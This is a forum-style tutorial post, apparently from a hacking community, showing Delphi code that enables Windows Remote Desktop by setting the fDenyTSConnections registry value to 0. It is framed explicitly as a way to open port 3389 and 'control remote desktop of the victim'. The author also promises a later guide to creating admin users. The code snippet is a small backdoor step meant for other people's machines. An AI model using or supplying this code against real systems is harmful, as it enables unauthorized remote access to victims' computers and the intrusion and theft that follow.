[Delphi] Open remote access with software

[Cartographer]

Hello everyone, i got in shape of writing those small articles-tutorials. I can remember myself searching for source code, examples and stuff like that. It wasnt easy, so im trying to help you now...

Some time before I searched information how on delphi open port 3389, and control remote desktop of the victim. I couldn't find any information about it, so I decided to write an article about it. We will work with registry, because it contains the information about remote connection.

Lets Begin.

Everything is not as hard as you think. We just need to change something in registry.
It is located here

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server and parameterfDenyTSConnections

we need to change its value to 0, to open the access. Accordingly if you set it as 1, it will be closed.

Heres a part of code

Registry:=tRegistry.Create;  //Making an edit of registry
   Registry.RootKey:=HKEY_LOCAL_MACHINE; //finding key
   Registry.OpenKey('\SYSTEM\CurrentControlSet\Control\Terminal Server',true); //Finding tree
   Registry.WriteString('fDenyTSConnections','0'); //Changing value
   Registry.CloseKey; //Closing
   Registry.Free;

Dont forget to write the unit registry

Develop the code, product the idea!!!If I wont go to army, I will tell you next time how to make admin users on windows, on delphi!


(c) Dager315